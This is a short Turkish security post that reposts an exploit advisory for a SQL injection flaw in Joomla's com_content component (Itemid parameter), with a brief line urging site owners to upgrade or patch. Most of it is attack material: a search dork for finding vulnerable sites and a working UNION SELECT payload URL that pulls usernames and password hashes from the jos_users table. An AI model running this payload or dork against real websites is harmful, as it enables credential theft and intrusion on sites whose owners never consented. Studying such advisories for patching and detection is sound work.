Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vulnerability...

Yeni çıkan SQL injection açıkları nedeniyle joomla ile yapılmış sitelerin acil olarak sürüm yükseltmeleri (güncel sürüm 1.5.8) yada yamayı geçmeleri gerekmektedir.

Author : unknown_styler

Dork : inurl:com_content

POC : http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}

Example : http://localhost/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999%20union%20select%201,concat_ws(0x3a,username,password),3,4,5%20from%20jos_users/*

Etiket: Sanal Güvenlik